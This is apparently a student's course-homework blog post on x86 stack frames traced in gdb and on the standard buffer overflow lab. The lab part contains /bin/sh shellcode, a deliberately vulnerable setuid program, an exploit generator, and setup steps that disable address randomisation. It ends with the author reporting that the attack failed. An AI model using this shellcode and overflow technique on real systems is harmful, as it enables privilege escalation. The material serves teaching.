T4

  • 题目

    1. 通过输入gcc -S -o main.s main.c 将下面c程序”week0603学号.c“编译成汇编代码
    int g(int x){
    return x+3;
    }
    int f(int x){
    int i = 学号后两位;
    return g(x)+i;
    }
    int main(void){
    return f(8)+1;
    }
    1. 删除汇编代码中 . 开关的代码,提交f 函数的汇编代码截图,图中用矩形标出函数栈帧的形成和销毁的代码
  • 相关知识

    • C语言调用机制使用了栈数据结构提供的后进先出的内存管理原则
    • 当前正在执行的过程的帧总是在栈顶
  • 解答

T5

  • 题目

    1. 通过输入gcc -S -o main.s main.c
    将下面c程序”week0603学号.c“编译成汇编代码
    int g(int x){
    return x+3;
    }
    int f(int x){
    int i = 学号后两位;
    return g(x)+i;
    }
    int main(void){
    return f(8)+1;
    }
    1. 参考http://www.cnblogs.com/lxm20145215----/p/5982554.html,使用gdb跟踪汇编代码,在纸上画出f中每一条语句引起的eip(rip),ebp(rbp),esp(rsb),eax(rax)的值和栈的变化情况
  • 相关知识

    • 在64位机器上产生32位汇编gcc -g example.c -o example -m32
    • gdb example 进入gdb调试器
    • b linenumber 设置断点
    • run 运行
    • disassemble获取汇编代码
    • i(nfo) r(egisters)查看各寄存器的值
    • 用x查看内存地址中的值
  • 步骤

    • gcc -g week0604_20155212.c -o week0604_20155212 -m32编译程序
    • gdb week0604_20155212进入gdb模式
    • 设置断点在main函数调用f函数的位置gdb> b 10
    • gdb> run运行
    • gdb> disassemble反汇编
    • display /i $pc
    • i r
    • x查看内存中的内容
    • si 执行下一条汇编
  • 结果

汇编指令 eip ebp esp eax
push %ebp 0x80483e6 0xffffceb8 0xffffceb0 0xf7fb2dbc 0x8048411 0x8 0x0
mov %esp,%ebp 0x80483e7 0xffffceb8 0xffffceac 0xf7fb2dbc 0xffffceb8 0x8048411 0x8 0x0
sub $0x10,%esp 0x80483e9 0xffffceac 0xffffceac 0xf7fb2dbc 0xffffceb8 0x8048411 0x8 0x0
movl $0xc,-0x4(%ebp) 0x80483ec 0xffffceac 0xffffce9c 0xf7fb2dbc 0x8048441 0xffffce98 0x8048411 0x8 0x0
pushl 0x8(%ebp) 0x80483f3 0xffffceac 0xffffce9c 0xf7fb2dbc 0x8048441 0xffffce98 0x8048411 0x8 0x0
call 0x80483db 0x80483f6 0xffffceac 0xffffce98 0xf7fb2dbc 0x8 0x0
add $0x4,%esp 0x80483fe 0xffffceac 0xffffce9c 0xb 11 0x8048441 0xffffce98 0x8048411 0x8 0x0
mov %eax,%edx 0x8048400 0xffffceac 0xffffce9c 0xb 11 0x8048441 0xffffce98 0x8048411 0x8 0x0
mov -0x4(%ebp),%eax 0x8048403 0xffffceac 0xffffce9c 0xb 12 0x8048441 0xffffce98 0x8048411 0x8 0x0
add %edx,%eax 0x8048405 0xffffceac 0xffffce9c 0x17 23 0x8048441 0xffffce98 0x8048411 0x8 0x0
leave 0x8048406 0xffffceb8 0xffffceb0 0x17 23 0x8048411 0x8 0x0
ret 0x8048414 0xffffceb8 0xffffceb8 0x17 23 0x0

缓冲区溢出漏洞实验

实验介绍

  • 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。缓冲区溢出漏洞实验

实验准备

  • 输入命令安装一些用于编译32位C程序的东西
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
  • 输入命令“linux32”进入32位linux环境,输入"/bin/bash"

实验步骤

  • 初始化设置

    • 使用sudo sysctl -w kernel.randomize_va_space=0关闭使用地址空间随机化来随机堆和栈的初始地址
    • 使用zsh代替/bin/bash
      sudo su
      cd /bin
      rm sh
      ln -s zsh sh
      exit
  • shellcode

    • 一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。

    • 代码

      #include <stdio.h>
      int main( ) {
      char *name[2];
      name[0] = ‘‘/bin/sh’’;
      name[1] = NULL;
      execve(name[0], name, NULL);
      }
    • 汇编代码

      \x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
  • 漏洞程序

    • 把以下代码保存为“stack.c”文件,保存到 /tmp 目录下。

      /* stack.c */
      /* This program has a buffer overflow vulnerability. */
      /* Our task is to exploit this vulnerability */
      #include <stdlib.h>
      #include <stdio.h>
      #include <string.h> int bof(char *str)
      {
      char buffer[12]; /* The following statement has a buffer overflow problem */
      strcpy(buffer, str); return 1;
      } int main(int argc, char **argv)
      {
      char str[517];
      FILE *badfile;
      badfile = fopen("badfile", "r");
      fread(str, sizeof(char), 517, badfile);
      bof(str);
      printf("Returned Properly\n");
      return 1;
      }
    • 编译该程序,并设置SET-UID

      sudo su
      gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
      chmod u+s stack
      exit
  • 攻击程序

    • 把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下

      /* exploit.c */
      /* A program that creates a file containing code for launching shell*/
      #include <stdlib.h>
      #include <stdio.h>
      #include <string.h> char shellcode[]= "\x31\xc0" //xorl %eax,%eax
      "\x50" //pushl %eax
      "\x68""//sh" //pushl $0x68732f2f
      "\x68""/bin" //pushl $0x6e69622f
      "\x89\xe3" //movl %esp,%ebx
      "\x50" //pushl %eax
      "\x53" //pushl %ebx
      "\x89\xe1" //movl %esp,%ecx
      "\x99" //cdq
      "\xb0\x0b" //movb $0x0b,%al
      "\xcd\x80" //int $0x80
      ; void main(int argc, char **argv)
      {
      char buffer[517];
      FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */
      memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */
      strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
      strcpy(buffer+100,shellcode); /* Save the contents to the file "badfile" */
      badfile = fopen("./badfile", "w");
      fwrite(buffer, 517, 1, badfile);
      fclose(badfile);
      }
    • 要得到shellcode在内存中的地址,输入命令

      gdb stack
      disass main
    • 运行结果



    • 现在修改exploit.c文件!将 \x??\x??\x??\x?? 修改为 \x14\xd2\xff\xff,然后,编译exploit.c程序:

      gcc -m32 -o exploit exploit.c
    • 攻击结果

      • 如果不能攻击成功,提示”段错误“,那么请重新使用gdb反汇编,计算内存地址。
      • 再次重复,发现还是没有成功。

20155212 ch03 课下作业的更多相关文章

  1. 20155212 ch02 课下作业

    20155212 ch02 课下作业 T1 题目 参考附图代码,编写一个程序 "week0601学号.c",判断一下你的电脑是大端还是小端 相关知识 小端法:最低有效字节在最前面 ...

  2. CH03 课下作业

    CH03 课下作业 缓冲区溢出漏洞实验 缓冲区溢出攻击:通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的. 缓冲区溢出 ...

  3. 20155338 ch02 ch03课下作业

    20155338 ch02 ch03课下作业 要求: 1.补充完成课上测试(不能只有截图,要有分析,问题解决过程,新学到的知识点) 课上测试-3-ch02 1.编写一个程序 "week060 ...

  4. ch03 课下作业——缓冲区溢出漏洞实验

    一.实验简介: 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭 ...

  5. 20175221 MyCP(课下作业,必做)

    MyCP(课下作业,必做) 任务详情 编写MyCP.java 实现类似Linux下cp XXX1 XXX2的功能,要求MyCP支持两个参数: - java MyCP -tx XXX1.txt XXX2 ...

  6. 20175221 《Java程序设计》迭代和JDB(课下作业,选做):

    20175221 <Java程序设计> 迭代和JDB(课下作业,选做): 任务详情 1 使用C(n,m)=C(n-1,m-1)+C(n-1,m)公式进行递归编程实现求组合数C(m,n)的功 ...

  7. 20175333曹雅坤MyCP(课下作业,必做)

    MyCP(课下作业,必做) 要求 编写MyCP.java 实现类似Linux下cp XXX1 XXX2的功能,要求MyCP支持两个参数: java MyCP -tx XXX1.txt XXX2.bin ...

  8. MyOD(课下作业,选做)

    MyOD(课下作业,选做) 代码要求 编写MyCP.java 实现类似Linux下cp XXX1 XXX2的功能,要求MyCP支持两个参数: java MyCP -tx XXX1.txt XXX2.b ...

  9. 迭代和JDB(课下作业,选做)

    迭代和JDB(课下作业,选做) 题目要求 1 使用C(n,m)=C(n-1,m-1)+C(n-1,m)公式进行递归编程实现求组合数C(m,n)的功能 2 m,n 要通过命令行传入 3 提交测试运行截图 ...

随机推荐

  1. [T-ARA][Roly Poly]

    歌词来源:http://music.163.com/#/song?id=22704441 作曲 : 新沙洞老虎/崔圭成 [作曲 : 新沙洞老虎/崔圭成] [作曲 : 新沙洞老虎/崔圭成] 作词 : 新 ...

  2. Python2.7 - IMOOC - 2

    第三章 Python变量和数据类型 3-1.数据类型 在Python中,能够直接处理的数据类型有以下几种: 整数 Python可以处理任意大小的整数,当然包括负整数,表示方法和数学上的写法一模一样,十 ...

  3. BZOJ 1202 狡猾的商人 差分约束or带权并查集

    题目链接: https://www.lydsy.com/JudgeOnline/problem.php?id=1202 题目大意: 刁姹接到一个任务,为税务部门调查一位商人的账本,看看账本是不是伪造的 ...

  4. python中的装饰函数

    在面向对象(OOP)的设计模式中,decorator被称为装饰模式.OOP的装饰模式需要通过继承和组合来实现,而Python除了能支持OOP的decorator外,直接从语法层次支持decorator ...

  5. Why Reactive(Cocoa)?-时间线、输入、输出、复杂性、异步、状态、聚合

    To put it another way, the output at any one time is the result of combining all inputs. The output ...

  6. 死磕salt系列-salt 常用modules

    saltstack 常用模块介绍 file模块 被控主机文件常见操作,包括文件读写.权限.查找.校验等 salt '*' file.get_sum /etc/resolv.conf md5 salt ...

  7. 【[IOI2005]Riv 河流】

    趁魏佬去英语演讲了,赶快%%%%%%%%%%%%%%魏佬 基本上是照着魏佬的代码写的 这其实还是一个树上背包 我们用\(dp[i][j][k]\)表示在以\(i\)为根的子树里,我们修建\(k\)个伐 ...

  8. 解决 php7下 igbinary_unserialize_ref: invalid reference 的bug

    最近组内升级了PHP7,某个接口偶发502,看了下php的错误日志如下: igbinary_unserialize_ref: invalid reference >= Memcached::ge ...

  9. Hadoop学习之路(二十八)MapReduce的API使用(五)

    求所有两两用户之间的共同好友 数据格式 A:B,C,D,F,E,O B:A,C,E,K C:F,A,D,I D:A,E,F,L E:B,C,D,M,L F:A,B,C,D,E,O,M G:A,C,D, ...

  10. 一步步入门编写PHP扩展

    1.写在最前 随着互联网飞速发展,lamp架构的流行,php支持的扩展也越来越多,这样直接促进了php的发展. 但是php也有脚本语言不可避免的问题,性能比例如C等编译型语言相差甚多,所以在考虑性能问 ...